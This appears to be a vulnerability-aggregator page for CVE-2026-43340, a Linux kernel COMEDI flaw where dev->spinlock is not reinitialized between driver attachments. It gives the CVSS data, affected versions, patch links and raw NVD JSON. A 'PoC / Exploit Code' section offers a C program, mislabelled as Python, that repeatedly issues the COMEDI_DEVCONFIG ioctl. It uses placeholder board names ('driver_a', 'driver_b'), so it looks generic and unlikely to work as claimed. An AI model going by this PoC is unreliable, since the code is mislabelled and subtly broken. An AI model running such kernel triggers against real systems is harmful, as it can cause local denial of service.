CVE-2026-43340

Description

In the Linux kernel, the following vulnerability has been resolved: comedi: Reinit dev->spinlock between attachments to low-level drivers `struct comedi_device` is the main controlling structure for a COMEDI device created by the COMEDI subsystem. It contains a member `spinlock` containing a spin-lock that is initialized by the COMEDI subsystem, but is reserved for use by a low-level driver attached to the COMEDI device (at least since commit 25436dc9d84f ("Staging: comedi: remove RT code")). Some COMEDI devices (those created on initialization of the COMEDI subsystem when the "comedi.comedi_num_legacy_minors" parameter is non-zero) can be attached to different low-level drivers over their lifetime using the `COMEDI_DEVCONFIG` ioctl command. This can result in inconsistent lock states being reported when there is a mismatch in the spin-lock locking levels used by each low-level driver to which the COMEDI device has been attached. Fix it by reinitializing `dev->spinlock` before calling the low-level driver's `attach` function pointer if `CONFIG_LOCKDEP` is enabled.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (具体受影响版本请参考各发行版安全公告)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#include <stdio.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>
#include <linux/comedi.h>

// PoC for CVE-2026-43340
// Triggering spinlock inconsistency by attaching different drivers.

int main() {
    int fd;
    struct comedi_devconfig config;

    // Open a COMEDI device (e.g., /dev/comedi0)
    fd = open("/dev/comedi0", O_RDWR);
    if (fd < 0) {
        perror("open");
        return 1;
    }

    memset(&config, 0, sizeof(config));
    
    // Attach first driver
    strcpy(config.board_name, "driver_a");
    ioctl(fd, COMEDI_DEVCONFIG, &config);

    // Attach second driver to trigger the bug without reinitializing spinlock
    strcpy(config.board_name, "driver_b");
    ioctl(fd, COMEDI_DEVCONFIG, &config);

    close(fd);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43340
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43340
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43340/
[4] VulDB https://vuldb.com/cve/CVE-2026-43340
[5] https://git.kernel.org/stable/c/2b1f49e4fdff3ef0f8e9158bbb5b149e06287560
[6] https://git.kernel.org/stable/c/3181c34b415c5464be9d34bff3e43ef63b747039
[7] https://git.kernel.org/stable/c/430291d8f3884f57ae0057049b0ca291453e29e1
[8] https://git.kernel.org/stable/c/4b9a9a6d71e3e252032f959fb3895a33acb5865c
[9] https://git.kernel.org/stable/c/4d5ffe524903a30e2e0da7d16841a56bec2de55c
[10] https://git.kernel.org/stable/c/83134a7a176ce5b4b19b6edecf4360e8d98d1a5a
[11] https://git.kernel.org/stable/c/b89c026227712c367950bbae055a5b31073d3b30
[12] https://git.kernel.org/stable/c/c01bcc67a9a692d65508ebd480405b5e77d562b7

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43340", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-08T14:16:43.910", "lastModified": "2026-05-15T19:46:42.747", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ncomedi: Reinit dev->spinlock between attachments to low-level drivers\n\n`struct comedi_device` is the main controlling structure for a COMEDI\ndevice created by the COMEDI subsystem. It contains a member `spinlock`\ncontaining a spin-lock that is initialized by the COMEDI subsystem, but\nis reserved for use by a low-level driver attached to the COMEDI device\n(at least since commit 25436dc9d84f (\"Staging: comedi: remove RT\ncode\")).\n\nSome COMEDI devices (those created on initialization of the COMEDI\nsubsystem when the \"comedi.comedi_num_legacy_minors\" parameter is\nnon-zero) can be attached to different low-level drivers over their\nlifetime using the `COMEDI_DEVCONFIG` ioctl command. This can result in\ninconsistent lock states being reported when there is a mismatch in the\nspin-lock locking levels used by each low-level driver to which the\nCOMEDI device has been attached. Fix it by reinitializing\n`dev->spinlock` before calling the low-level driver's `attach` function\npointer if `CONFIG_LOCKDEP` is enabled."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.29", "versionEndExcluding": "5.10.253", "matchCriteriaId": "0C1B1C38-DBED-4FC4-AE7D-B0A2622E224F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.203", "matchCriteriaId": "20DDB3E9-AABF-4107-ADB0-5362AA067045"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.168", "matchCriteriaId": "E2DDDCA1-6DAB-4018-B920-8F045DDD8D3B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.134", "matchCriteriaId": "F56F925B-BAF8-4F4B-B62F-1496AF19A307"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.81", "matchCriteriaId": "6EF80433-B33B-43C5-8E64-0FA7B8DCE1BC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.22", "matchCriteriaId": "C9DF8BCE-36D3-475D-9D21-19E4F02F9029"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.12", "matchCriteriaId": "0A2B9540-02D5-41B4-B16A-82AF66FD4F36"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/2b1f49e4fdff3ef0f8e9158bbb5b149e06287560", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/3181c34b415c5464be9d34bff3e43ef63b747039", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/430291d8f3884f57ae0057049b0ca291453e29e1", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "ta ... 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